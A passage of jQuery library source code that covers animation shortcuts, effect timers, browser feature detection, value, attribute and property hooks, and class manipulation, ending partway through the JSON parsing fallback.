animations\njQuery.each({\n\tslideDown: genFx(\"show\"),\n\tslideUp: genFx(\"hide\"),\n\tslideToggle: genFx(\"toggle\"),\n\tfadeIn: { opacity: \"show\" },\n\tfadeOut: { opacity: \"hide\" },\n\tfadeToggle: { opacity: \"toggle\" }\n}, function( name, props ) {\n\tjQuery.fn[ name ] = function( speed, easing, callback ) {\n\t\treturn this.animate( props, speed, easing, callback );\n\t};\n});\n\njQuery.timers = [];\njQuery.fx.tick = function() {\n\tvar timer,\n\t\ttimers = jQuery.timers,\n\t\ti = 0;\n\n\tfxNow = jQuery.now();\n\n\tfor ( ; i < timers.length; i++ ) {\n\t\ttimer = timers[ i ];\n\t\t// Checks the timer has not already been removed\n\t\tif ( !timer() && timers[ i ] === timer ) {\n\t\t\ttimers.splice( i--, 1 );\n\t\t}\n\t}\n\n\tif ( !timers.length ) {\n\t\tjQuery.fx.stop();\n\t}\n\tfxNow = undefined;\n};\n\njQuery.fx.timer = function( timer ) {\n\tjQuery.timers.push( timer );\n\tif ( timer() ) {\n\t\tjQuery.fx.start();\n\t} else {\n\t\tjQuery.timers.pop();\n\t}\n};\n\njQuery.fx.interval = 13;\n\njQuery.fx.start = function() {\n\tif ( !timerId ) {\n\t\ttimerId = setInterval( jQuery.fx.tick, jQuery.fx.interval );\n\t}\n};\n\njQuery.fx.stop = function() {\n\tclearInterval( timerId );\n\ttimerId = null;\n};\n\njQuery.fx.speeds = {\n\tslow: 600,\n\tfast: 200,\n\t// Default speed\n\t_default: 400\n};\n\n\n// Based off of the plugin by Clint Helfers, with permission.\n// http://blindsignals.com/index.php/2009/07/jquery-delay/\njQuery.fn.delay = function( time, type ) {\n\ttime = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;\n\ttype = type || \"fx\";\n\n\treturn this.queue( type, function( next, hooks ) {\n\t\tvar timeout = setTimeout( next, time );\n\t\thooks.stop = function() {\n\t\t\tclearTimeout( timeout );\n\t\t};\n\t});\n};\n\n\n(function() {\n\tvar a, input, select, opt,\n\t\tdiv = document.createElement(\"div\" );\n\n\t// Setup\n\tdiv.setAttribute( \"className\", \"t\" );\n\tdiv.innerHTML = \"  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>\";\n\ta = div.getElementsByTagName(\"a\")[ 0 ];\n\n\t// First batch of tests.\n\tselect = document.createElement(\"select\");\n\topt = select.appendChild( document.createElement(\"option\") );\n\tinput = div.getElementsByTagName(\"input\")[ 0 ];\n\n\ta.style.cssText = \"top:1px\";\n\n\t// Test setAttribute on camelCase class. If it works, we need attrFixes when doing get/setAttribute (ie6/7)\n\tsupport.getSetAttribute = div.className !== \"t\";\n\n\t// Get the style information from getAttribute\n\t// (IE uses .cssText instead)\n\tsupport.style = /top/.test( a.getAttribute(\"style\") );\n\n\t// Make sure that URLs aren't manipulated\n\t// (IE normalizes it by default)\n\tsupport.hrefNormalized = a.getAttribute(\"href\") === \"/a\";\n\n\t// Check the default checkbox/radio value (\"\" on WebKit; \"on\" elsewhere)\n\tsupport.checkOn = !!input.value;\n\n\t// Make sure that a selected-by-default option has a working selected property.\n\t// (WebKit defaults to false instead of true, IE too, if it's in an optgroup)\n\tsupport.optSelected = opt.selected;\n\n\t// Tests for enctype support on a form (#6743)\n\tsupport.enctype = !!document.createElement(\"form\").enctype;\n\n\t// Make sure that the options inside disabled selects aren't marked as disabled\n\t// (WebKit marks them as disabled)\n\tselect.disabled = true;\n\tsupport.optDisabled = !opt.disabled;\n\n\t// Support: IE8 only\n\t// Check if we can trust getAttribute(\"value\")\n\tinput = document.createElement( \"input\" );\n\tinput.setAttribute( \"value\", \"\" );\n\tsupport.input = input.getAttribute( \"value\" ) === \"\";\n\n\t// Check if an input maintains its value after becoming a radio\n\tinput.value = \"t\";\n\tinput.setAttribute( \"type\", \"radio\" );\n\tsupport.radioValue = input.value === \"t\";\n\n\t// Null elements to avoid leaks in IE.\n\ta = input = select = opt = div = null;\n})();\n\n\nvar rreturn = /\\r/g;\n\njQuery.fn.extend({\n\tval: function( value ) {\n\t\tvar hooks, ret, isFunction,\n\t\t\telem = this[0];\n\n\t\tif ( !arguments.length ) {\n\t\t\tif ( elem ) {\n\t\t\t\thooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ];\n\n\t\t\t\tif ( hooks && \"get\" in hooks && (ret = hooks.get( elem, \"value\" )) !== undefined ) {\n\t\t\t\t\treturn ret;\n\t\t\t\t}\n\n\t\t\t\tret = elem.value;\n\n\t\t\t\treturn typeof ret === \"string\" ?\n\t\t\t\t\t// handle most common string cases\n\t\t\t\t\tret.replace(rreturn, \"\") :\n\t\t\t\t\t// handle cases where value is null/undef or number\n\t\t\t\t\tret == null ? \"\" : ret;\n\t\t\t}\n\n\t\t\treturn;\n\t\t}\n\n\t\tisFunction = jQuery.isFunction( value );\n\n\t\treturn this.each(function( i ) {\n\t\t\tvar val;\n\n\t\t\tif ( this.nodeType !== 1 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( isFunction ) {\n\t\t\t\tval = value.call( this, i, jQuery( this ).val() );\n\t\t\t} else {\n\t\t\t\tval = value;\n\t\t\t}\n\n\t\t\t// Treat null/undefined as \"\"; convert numbers to string\n\t\t\tif ( val == null ) {\n\t\t\t\tval = \"\";\n\t\t\t} else if ( typeof val === \"number\" ) {\n\t\t\t\tval += \"\";\n\t\t\t} else if ( jQuery.isArray( val ) ) {\n\t\t\t\tval = jQuery.map( val, function( value ) {\n\t\t\t\t\treturn value == null ? \"\" : value + \"\";\n\t\t\t\t});\n\t\t\t}\n\n\t\t\thooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];\n\n\t\t\t// If set returns undefined, fall back to normal setting\n\t\t\tif ( !hooks || !(\"set\" in hooks) || hooks.set( this, val, \"value\" ) === undefined ) {\n\t\t\t\tthis.value = val;\n\t\t\t}\n\t\t});\n\t}\n});\n\njQuery.extend({\n\tvalHooks: {\n\t\toption: {\n\t\t\tget: function( elem ) {\n\t\t\t\tvar val = jQuery.find.attr( elem, \"value\" );\n\t\t\t\treturn val != null ?\n\t\t\t\t\tval :\n\t\t\t\t\tjQuery.text( elem );\n\t\t\t}\n\t\t},\n\t\tselect: {\n\t\t\tget: function( elem ) {\n\t\t\t\tvar value, option,\n\t\t\t\t\toptions = elem.options,\n\t\t\t\t\tindex = elem.selectedIndex,\n\t\t\t\t\tone = elem.type === \"select-one\" || index < 0,\n\t\t\t\t\tvalues = one ? null : [],\n\t\t\t\t\tmax = one ? index + 1 : options.length,\n\t\t\t\t\ti = index < 0 ?\n\t\t\t\t\t\tmax :\n\t\t\t\t\t\tone ? index : 0;\n\n\t\t\t\t// Loop through all the selected options\n\t\t\t\tfor ( ; i < max; i++ ) {\n\t\t\t\t\toption = options[ i ];\n\n\t\t\t\t\t// oldIE doesn't update selected after form reset (#2551)\n\t\t\t\t\tif ( ( option.selected || i === index ) &&\n\t\t\t\t\t\t\t// Don't return options that are disabled or in a disabled optgroup\n\t\t\t\t\t\t\t( support.optDisabled ? !option.disabled : option.getAttribute(\"disabled\") === null ) &&\n\t\t\t\t\t\t\t( !option.parentNode.disabled || !jQuery.nodeName( option.parentNode, \"optgroup\" ) ) ) {\n\n\t\t\t\t\t\t// Get the specific value for the option\n\t\t\t\t\t\tvalue = jQuery( option ).val();\n\n\t\t\t\t\t\t// We don't need an array for one selects\n\t\t\t\t\t\tif ( one ) {\n\t\t\t\t\t\t\treturn value;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Multi-Selects return an array\n\t\t\t\t\t\tvalues.push( value );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn values;\n\t\t\t},\n\n\t\t\tset: function( elem, value ) {\n\t\t\t\tvar optionSet, option,\n\t\t\t\t\toptions = elem.options,\n\t\t\t\t\tvalues = jQuery.makeArray( value ),\n\t\t\t\t\ti = options.length;\n\n\t\t\t\twhile ( i-- ) {\n\t\t\t\t\toption = options[ i ];\n\n\t\t\t\t\tif ( jQuery.inArray( jQuery.valHooks.option.get( option ), values ) >= 0 ) {\n\n\t\t\t\t\t\t// Support: IE6\n\t\t\t\t\t\t// When new option element is added to select box we need to\n\t\t\t\t\t\t// force reflow of newly added node in order to workaround delay\n\t\t\t\t\t\t// of initialization properties\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\toption.selected = optionSet = true;\n\n\t\t\t\t\t\t} catch ( _ ) {\n\n\t\t\t\t\t\t\t// Will be executed only in IE6\n\t\t\t\t\t\t\toption.scrollHeight;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\toption.selected = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Force browsers to behave consistently when non-matching value is set\n\t\t\t\tif ( !optionSet ) {\n\t\t\t\t\telem.selectedIndex = -1;\n\t\t\t\t}\n\n\t\t\t\treturn options;\n\t\t\t}\n\t\t}\n\t}\n});\n\n// Radios and checkboxes getter/setter\njQuery.each([ \"radio\", \"checkbox\" ], function() {\n\tjQuery.valHooks[ this ] = {\n\t\tset: function( elem, value ) {\n\t\t\tif ( jQuery.isArray( value ) ) {\n\t\t\t\treturn ( elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0 );\n\t\t\t}\n\t\t}\n\t};\n\tif ( !support.checkOn ) {\n\t\tjQuery.valHooks[ this ].get = function( elem ) {\n\t\t\t// Support: Webkit\n\t\t\t// \"\" is returned instead of \"on\" if a value isn't specified\n\t\t\treturn elem.getAttribute(\"value\") === null ? \"on\" : elem.value;\n\t\t};\n\t}\n});\n\n\n\n\nvar nodeHook, boolHook,\n\tattrHandle = jQuery.expr.attrHandle,\n\truseDefault = /^(?:checked|selected)$/i,\n\tgetSetAttribute = support.getSetAttribute,\n\tgetSetInput = support.input;\n\njQuery.fn.extend({\n\tattr: function( name, value ) {\n\t\treturn access( this, jQuery.attr, name, value, arguments.length > 1 );\n\t},\n\n\tremoveAttr: function( name ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.removeAttr( this, name );\n\t\t});\n\t}\n});\n\njQuery.extend({\n\tattr: function( elem, name, value ) {\n\t\tvar hooks, ret,\n\t\t\tnType = elem.nodeType;\n\n\t\t// don't get/set attributes on text, comment and attribute nodes\n\t\tif ( !elem || nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Fallback to prop when attributes are not supported\n\t\tif ( typeof elem.getAttribute === strundefined ) {\n\t\t\treturn jQuery.prop( elem, name, value );\n\t\t}\n\n\t\t// All attributes are lowercase\n\t\t// Grab necessary hook if one is defined\n\t\tif ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {\n\t\t\tname = name.toLowerCase();\n\t\t\thooks = jQuery.attrHooks[ name ] ||\n\t\t\t\t( jQuery.expr.match.bool.test( name ) ? boolHook : nodeHook );\n\t\t}\n\n\t\tif ( value !== undefined ) {\n\n\t\t\tif ( value === null ) {\n\t\t\t\tjQuery.removeAttr( elem, name );\n\n\t\t\t} else if ( hooks && \"set\" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) {\n\t\t\t\treturn ret;\n\n\t\t\t} else {\n\t\t\t\telem.setAttribute( name, value + \"\" );\n\t\t\t\treturn value;\n\t\t\t}\n\n\t\t} else if ( hooks && \"get\" in hooks && (ret = hooks.get( elem, name )) !== null ) {\n\t\t\treturn ret;\n\n\t\t} else {\n\t\t\tret = jQuery.find.attr( elem, name );\n\n\t\t\t// Non-existent attributes return null, we normalize to undefined\n\t\t\treturn ret == null ?\n\t\t\t\tundefined :\n\t\t\t\tret;\n\t\t}\n\t},\n\n\tremoveAttr: function( elem, value ) {\n\t\tvar name, propName,\n\t\t\ti = 0,\n\t\t\tattrNames = value && value.match( rnotwhite );\n\n\t\tif ( attrNames && elem.nodeType === 1 ) {\n\t\t\twhile ( (name = attrNames[i++]) ) {\n\t\t\t\tpropName = jQuery.propFix[ name ] || name;\n\n\t\t\t\t// Boolean attributes get special treatment (#10870)\n\t\t\t\tif ( jQuery.expr.match.bool.test( name ) ) {\n\t\t\t\t\t// Set corresponding property to false\n\t\t\t\t\tif ( getSetInput && getSetAttribute || !ruseDefault.test( name ) ) {\n\t\t\t\t\t\telem[ propName ] = false;\n\t\t\t\t\t// Support: IE<9\n\t\t\t\t\t// Also clear defaultChecked/defaultSelected (if appropriate)\n\t\t\t\t\t} else {\n\t\t\t\t\t\telem[ jQuery.camelCase( \"default-\" + name ) ] =\n\t\t\t\t\t\t\telem[ propName ] = false;\n\t\t\t\t\t}\n\n\t\t\t\t// See #9699 for explanation of this approach (setting first, then removal)\n\t\t\t\t} else {\n\t\t\t\t\tjQuery.attr( elem, name, \"\" );\n\t\t\t\t}\n\n\t\t\t\telem.removeAttribute( getSetAttribute ? name : propName );\n\t\t\t}\n\t\t}\n\t},\n\n\tattrHooks: {\n\t\ttype: {\n\t\t\tset: function( elem, value ) {\n\t\t\t\tif ( !support.radioValue && value === \"radio\" && jQuery.nodeName(elem, \"input\") ) {\n\t\t\t\t\t// Setting the type on a radio button after the value resets the value in IE6-9\n\t\t\t\t\t// Reset value to default in case type is set after value during creation\n\t\t\t\t\tvar val = elem.value;\n\t\t\t\t\telem.setAttribute( \"type\", value );\n\t\t\t\t\tif ( val ) {\n\t\t\t\t\t\telem.value = val;\n\t\t\t\t\t}\n\t\t\t\t\treturn value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n});\n\n// Hook for boolean attributes\nboolHook = {\n\tset: function( elem, value, name ) {\n\t\tif ( value === false ) {\n\t\t\t// Remove boolean attributes when set to false\n\t\t\tjQuery.removeAttr( elem, name );\n\t\t} else if ( getSetInput && getSetAttribute || !ruseDefault.test( name ) ) {\n\t\t\t// IE<8 needs the *property* name\n\t\t\telem.setAttribute( !getSetAttribute && jQuery.propFix[ name ] || name, name );\n\n\t\t// Use defaultChecked and defaultSelected for oldIE\n\t\t} else {\n\t\t\telem[ jQuery.camelCase( \"default-\" + name ) ] = elem[ name ] = true;\n\t\t}\n\n\t\treturn name;\n\t}\n};\n\n// Retrieve booleans specially\njQuery.each( jQuery.expr.match.bool.source.match( /\\w+/g ), function( i, name ) {\n\n\tvar getter = attrHandle[ name ] || jQuery.find.attr;\n\n\tattrHandle[ name ] = getSetInput && getSetAttribute || !ruseDefault.test( name ) ?\n\t\tfunction( elem, name, isXML ) {\n\t\t\tvar ret, handle;\n\t\t\tif ( !isXML ) {\n\t\t\t\t// Avoid an infinite loop by temporarily removing this function from the getter\n\t\t\t\thandle = attrHandle[ name ];\n\t\t\t\tattrHandle[ name ] = ret;\n\t\t\t\tret = getter( elem, name, isXML ) != null ?\n\t\t\t\t\tname.toLowerCase() :\n\t\t\t\t\tnull;\n\t\t\t\tattrHandle[ name ] = handle;\n\t\t\t}\n\t\t\treturn ret;\n\t\t} :\n\t\tfunction( elem, name, isXML ) {\n\t\t\tif ( !isXML ) {\n\t\t\t\treturn elem[ jQuery.camelCase( \"default-\" + name ) ] ?\n\t\t\t\t\tname.toLowerCase() :\n\t\t\t\t\tnull;\n\t\t\t}\n\t\t};\n});\n\n// fix oldIE attroperties\nif ( !getSetInput || !getSetAttribute ) {\n\tjQuery.attrHooks.value = {\n\t\tset: function( elem, value, name ) {\n\t\t\tif ( jQuery.nodeName( elem, \"input\" ) ) {\n\t\t\t\t// Does not return so that setAttribute is also used\n\t\t\t\telem.defaultValue = value;\n\t\t\t} else {\n\t\t\t\t// Use nodeHook if defined (#1954); otherwise setAttribute is fine\n\t\t\t\treturn nodeHook && nodeHook.set( elem, value, name );\n\t\t\t}\n\t\t}\n\t};\n}\n\n// IE6/7 do not support getting/setting some attributes with get/setAttribute\nif ( !getSetAttribute ) {\n\n\t// Use this for any attribute in IE6/7\n\t// This fixes almost every IE6/7 issue\n\tnodeHook = {\n\t\tset: function( elem, value, name ) {\n\t\t\t// Set the existing or create a new attribute node\n\t\t\tvar ret = elem.getAttributeNode( name );\n\t\t\tif ( !ret ) {\n\t\t\t\telem.setAttributeNode(\n\t\t\t\t\t(ret = elem.ownerDocument.createAttribute( name ))\n\t\t\t\t);\n\t\t\t}\n\n\t\t\tret.value = value += \"\";\n\n\t\t\t// Break association with cloned elements by also using setAttribute (#9646)\n\t\t\tif ( name === \"value\" || value === elem.getAttribute( name ) ) {\n\t\t\t\treturn value;\n\t\t\t}\n\t\t}\n\t};\n\n\t// Some attributes are constructed with empty-string values when not defined\n\tattrHandle.id = attrHandle.name = attrHandle.coords =\n\t\tfunction( elem, name, isXML ) {\n\t\t\tvar ret;\n\t\t\tif ( !isXML ) {\n\t\t\t\treturn (ret = elem.getAttributeNode( name )) && ret.value !== \"\" ?\n\t\t\t\t\tret.value :\n\t\t\t\t\tnull;\n\t\t\t}\n\t\t};\n\n\t// Fixing value retrieval on a button requires this module\n\tjQuery.valHooks.button = {\n\t\tget: function( elem, name ) {\n\t\t\tvar ret = elem.getAttributeNode( name );\n\t\t\tif ( ret && ret.specified ) {\n\t\t\t\treturn ret.value;\n\t\t\t}\n\t\t},\n\t\tset: nodeHook.set\n\t};\n\n\t// Set contenteditable to false on removals(#10429)\n\t// Setting to empty string throws an error as an invalid value\n\tjQuery.attrHooks.contenteditable = {\n\t\tset: function( elem, value, name ) {\n\t\t\tnodeHook.set( elem, value === \"\" ? false : value, name );\n\t\t}\n\t};\n\n\t// Set width and height to auto instead of 0 on empty string( Bug #8150 )\n\t// This is for removals\n\tjQuery.each([ \"width\", \"height\" ], function( i, name ) {\n\t\tjQuery.attrHooks[ name ] = {\n\t\t\tset: function( elem, value ) {\n\t\t\t\tif ( value === \"\" ) {\n\t\t\t\t\telem.setAttribute( name, \"auto\" );\n\t\t\t\t\treturn value;\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t});\n}\n\nif ( !support.style ) {\n\tjQuery.attrHooks.style = {\n\t\tget: function( elem ) {\n\t\t\t// Return undefined in the case of empty string\n\t\t\t// Note: IE uppercases css property names, but if we were to .toLowerCase()\n\t\t\t// .cssText, that would destroy case senstitivity in URL's, like in \"background\"\n\t\t\treturn elem.style.cssText || undefined;\n\t\t},\n\t\tset: function( elem, value ) {\n\t\t\treturn ( elem.style.cssText = value + \"\" );\n\t\t}\n\t};\n}\n\n\n\n\nvar rfocusable = /^(?:input|select|textarea|button|object)$/i,\n\trclickable = /^(?:a|area)$/i;\n\njQuery.fn.extend({\n\tprop: function( name, value ) {\n\t\treturn access( this, jQuery.prop, name, value, arguments.length > 1 );\n\t},\n\n\tremoveProp: function( name ) {\n\t\tname = jQuery.propFix[ name ] || name;\n\t\treturn this.each(function() {\n\t\t\t// try/catch handles cases where IE balks (such as removing a property on window)\n\t\t\ttry {\n\t\t\t\tthis[ name ] = undefined;\n\t\t\t\tdelete this[ name ];\n\t\t\t} catch( e ) {}\n\t\t});\n\t}\n});\n\njQuery.extend({\n\tpropFix: {\n\t\t\"for\": \"htmlFor\",\n\t\t\"class\": \"className\"\n\t},\n\n\tprop: function( elem, name, value ) {\n\t\tvar ret, hooks, notxml,\n\t\t\tnType = elem.nodeType;\n\n\t\t// don't get/set properties on text, comment and attribute nodes\n\t\tif ( !elem || nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn;\n\t\t}\n\n\t\tnotxml = nType !== 1 || !jQuery.isXMLDoc( elem );\n\n\t\tif ( notxml ) {\n\t\t\t// Fix name and attach hooks\n\t\t\tname = jQuery.propFix[ name ] || name;\n\t\t\thooks = jQuery.propHooks[ name ];\n\t\t}\n\n\t\tif ( value !== undefined ) {\n\t\t\treturn hooks && \"set\" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ?\n\t\t\t\tret :\n\t\t\t\t( elem[ name ] = value );\n\n\t\t} else {\n\t\t\treturn hooks && \"get\" in hooks && (ret = hooks.get( elem, name )) !== null ?\n\t\t\t\tret :\n\t\t\t\telem[ name ];\n\t\t}\n\t},\n\n\tpropHooks: {\n\t\ttabIndex: {\n\t\t\tget: function( elem ) {\n\t\t\t\t// elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set\n\t\t\t\t// http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/\n\t\t\t\t// Use proper attribute retrieval(#12072)\n\t\t\t\tvar tabindex = jQuery.find.attr( elem, \"tabindex\" );\n\n\t\t\t\treturn tabindex ?\n\t\t\t\t\tparseInt( tabindex, 10 ) :\n\t\t\t\t\trfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ?\n\t\t\t\t\t\t0 :\n\t\t\t\t\t\t-1;\n\t\t\t}\n\t\t}\n\t}\n});\n\n// Some attributes require a special call on IE\n// http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx\nif ( !support.hrefNormalized ) {\n\t// href/src property should get the full normalized URL (#10299/#12915)\n\tjQuery.each([ \"href\", \"src\" ], function( i, name ) {\n\t\tjQuery.propHooks[ name ] = {\n\t\t\tget: function( elem ) {\n\t\t\t\treturn elem.getAttribute( name, 4 );\n\t\t\t}\n\t\t};\n\t});\n}\n\n// Support: Safari, IE9+\n// mis-reports the default selected property of an option\n// Accessing the parent's selectedIndex property fixes it\nif ( !support.optSelected ) {\n\tjQuery.propHooks.selected = {\n\t\tget: function( elem ) {\n\t\t\tvar parent = elem.parentNode;\n\n\t\t\tif ( parent ) {\n\t\t\t\tparent.selectedIndex;\n\n\t\t\t\t// Make sure that it also works with optgroups, see #5701\n\t\t\t\tif ( parent.parentNode ) {\n\t\t\t\t\tparent.parentNode.selectedIndex;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn null;\n\t\t}\n\t};\n}\n\njQuery.each([\n\t\"tabIndex\",\n\t\"readOnly\",\n\t\"maxLength\",\n\t\"cellSpacing\",\n\t\"cellPadding\",\n\t\"rowSpan\",\n\t\"colSpan\",\n\t\"useMap\",\n\t\"frameBorder\",\n\t\"contentEditable\"\n], function() {\n\tjQuery.propFix[ this.toLowerCase() ] = this;\n});\n\n// IE6/7 call enctype encoding\nif ( !support.enctype ) {\n\tjQuery.propFix.enctype = \"encoding\";\n}\n\n\n\n\nvar rclass = /[\\t\\r\\n\\f]/g;\n\njQuery.fn.extend({\n\taddClass: function( value ) {\n\t\tvar classes, elem, cur, clazz, j, finalValue,\n\t\t\ti = 0,\n\t\t\tlen = this.length,\n\t\t\tproceed = typeof value === \"string\" && value;\n\n\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\treturn this.each(function( j ) {\n\t\t\t\tjQuery( this ).addClass( value.call( this, j, this.className ) );\n\t\t\t});\n\t\t}\n\n\t\tif ( proceed ) {\n\t\t\t// The disjunction here is for better compressibility (see removeClass)\n\t\t\tclasses = ( value || \"\" ).match( rnotwhite ) || [];\n\n\t\t\tfor ( ; i < len; i++ ) {\n\t\t\t\telem = this[ i ];\n\t\t\t\tcur = elem.nodeType === 1 && ( elem.className ?\n\t\t\t\t\t( \" \" + elem.className + \" \" ).replace( rclass, \" \" ) :\n\t\t\t\t\t\" \"\n\t\t\t\t);\n\n\t\t\t\tif ( cur ) {\n\t\t\t\t\tj = 0;\n\t\t\t\t\twhile ( (clazz = classes[j++]) ) {\n\t\t\t\t\t\tif ( cur.indexOf( \" \" + clazz + \" \" ) < 0 ) {\n\t\t\t\t\t\t\tcur += clazz + \" \";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// only assign if different to avoid unneeded rendering.\n\t\t\t\t\tfinalValue = jQuery.trim( cur );\n\t\t\t\t\tif ( elem.className !== finalValue ) {\n\t\t\t\t\t\telem.className = finalValue;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tremoveClass: function( value ) {\n\t\tvar classes, elem, cur, clazz, j, finalValue,\n\t\t\ti = 0,\n\t\t\tlen = this.length,\n\t\t\tproceed = arguments.length === 0 || typeof value === \"string\" && value;\n\n\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\treturn this.each(function( j ) {\n\t\t\t\tjQuery( this ).removeClass( value.call( this, j, this.className ) );\n\t\t\t});\n\t\t}\n\t\tif ( proceed ) {\n\t\t\tclasses = ( value || \"\" ).match( rnotwhite ) || [];\n\n\t\t\tfor ( ; i < len; i++ ) {\n\t\t\t\telem = this[ i ];\n\t\t\t\t// This expression is here for better compressibility (see addClass)\n\t\t\t\tcur = elem.nodeType === 1 && ( elem.className ?\n\t\t\t\t\t( \" \" + elem.className + \" \" ).replace( rclass, \" \" ) :\n\t\t\t\t\t\"\"\n\t\t\t\t);\n\n\t\t\t\tif ( cur ) {\n\t\t\t\t\tj = 0;\n\t\t\t\t\twhile ( (clazz = classes[j++]) ) {\n\t\t\t\t\t\t// Remove *all* instances\n\t\t\t\t\t\twhile ( cur.indexOf( \" \" + clazz + \" \" ) >= 0 ) {\n\t\t\t\t\t\t\tcur = cur.replace( \" \" + clazz + \" \", \" \" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// only assign if different to avoid unneeded rendering.\n\t\t\t\t\tfinalValue = value ? jQuery.trim( cur ) : \"\";\n\t\t\t\t\tif ( elem.className !== finalValue ) {\n\t\t\t\t\t\telem.className = finalValue;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\ttoggleClass: function( value, stateVal ) {\n\t\tvar type = typeof value;\n\n\t\tif ( typeof stateVal === \"boolean\" && type === \"string\" ) {\n\t\t\treturn stateVal ? this.addClass( value ) : this.removeClass( value );\n\t\t}\n\n\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\treturn this.each(function( i ) {\n\t\t\t\tjQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal );\n\t\t\t});\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tif ( type === \"string\" ) {\n\t\t\t\t// toggle individual class names\n\t\t\t\tvar className,\n\t\t\t\t\ti = 0,\n\t\t\t\t\tself = jQuery( this ),\n\t\t\t\t\tclassNames = value.match( rnotwhite ) || [];\n\n\t\t\t\twhile ( (className = classNames[ i++ ]) ) {\n\t\t\t\t\t// check each className given, space separated list\n\t\t\t\t\tif ( self.hasClass( className ) ) {\n\t\t\t\t\t\tself.removeClass( className );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tself.addClass( className );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t// Toggle whole class name\n\t\t\t} else if ( type === strundefined || type === \"boolean\" ) {\n\t\t\t\tif ( this.className ) {\n\t\t\t\t\t// store className if set\n\t\t\t\t\tjQuery._data( this, \"__className__\", this.className );\n\t\t\t\t}\n\n\t\t\t\t// If the element has a class name or if we're passed \"false\",\n\t\t\t\t// then remove the whole classname (if there was one, the above saved it).\n\t\t\t\t// Otherwise bring back whatever was previously saved (if anything),\n\t\t\t\t// falling back to the empty string if nothing was stored.\n\t\t\t\tthis.className = this.className || value === false ? \"\" : jQuery._data( this, \"__className__\" ) || \"\";\n\t\t\t}\n\t\t});\n\t},\n\n\thasClass: function( selector ) {\n\t\tvar className = \" \" + selector + \" \",\n\t\t\ti = 0,\n\t\t\tl = this.length;\n\t\tfor ( ; i < l; i++ ) {\n\t\t\tif ( this[i].nodeType === 1 && (\" \" + this[i].className + \" \").replace(rclass, \" \").indexOf( className ) >= 0 ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n});\n\n\n\n\n// Return jQuery for attributes-only inclusion\n\n\njQuery.each( (\"blur focus focusin focusout load resize scroll unload click dblclick \" +\n\t\"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave \" +\n\t\"change select submit keydown keypress keyup error contextmenu\").split(\" \"), function( i, name ) {\n\n\t// Handle event binding\n\tjQuery.fn[ name ] = function( data, fn ) {\n\t\treturn arguments.length > 0 ?\n\t\t\tthis.on( name, null, data, fn ) :\n\t\t\tthis.trigger( name );\n\t};\n});\n\njQuery.fn.extend({\n\thover: function( fnOver, fnOut ) {\n\t\treturn this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );\n\t},\n\n\tbind: function( types, data, fn ) {\n\t\treturn this.on( types, null, data, fn );\n\t},\n\tunbind: function( types, fn ) {\n\t\treturn this.off( types, null, fn );\n\t},\n\n\tdelegate: function( selector, types, data, fn ) {\n\t\treturn this.on( types, selector, data, fn );\n\t},\n\tundelegate: function( selector, types, fn ) {\n\t\t// ( namespace ) or ( selector, types [, fn] )\n\t\treturn arguments.length === 1 ? this.off( selector, \"**\" ) : this.off( types, selector || \"**\", fn );\n\t}\n});\n\n\nvar nonce = jQuery.now();\n\nvar rquery = (/\\?/);\n\n\n\nvar rvalidtokens = /(,)|(\\[|{)|(}|])|\"(?:[^\"\\\\\\r\\n]|\\\\[\"\\\\\\/bfnrt]|\\\\u[\\da-fA-F]{4})*\"\\s*:?|true|false|null|-?(?!0\\d)\\d+(?:\\.\\d+|)(?:[eE][+-]?\\d+|)/g;\n\njQuery.parseJSON = function( data ) {\n\t// Attempt to parse using the native JSON parser first\n\tif ( window.JSON && window.JSON.parse ) {\n\t\t// Support: Android 2.3\n\t\t// Workaround failure to string-cast null input\n\t\treturn window.JSON.parse( data + \"\" );\n\t}\n\n\tvar requireNonComma,\n\t\tdepth = null,\n\t\tstr = jQuery.trim( data + \"\" );\n\n\t// Guard against invalid (and possibly dangerous) input by ensuring that nothing remains\n\t// after removing valid tokens\n\treturn str && !jQuery.trim( str.replace( rvalidtokens, function( token, comma, open, close ) {\n\n\t\t// Force termination if we see a misplaced comma\n\t\tif ( requireNonComma && comma ) {\n\t\t\tdepth = 0;\n\t\t}\n\n\t\t// Perform no more 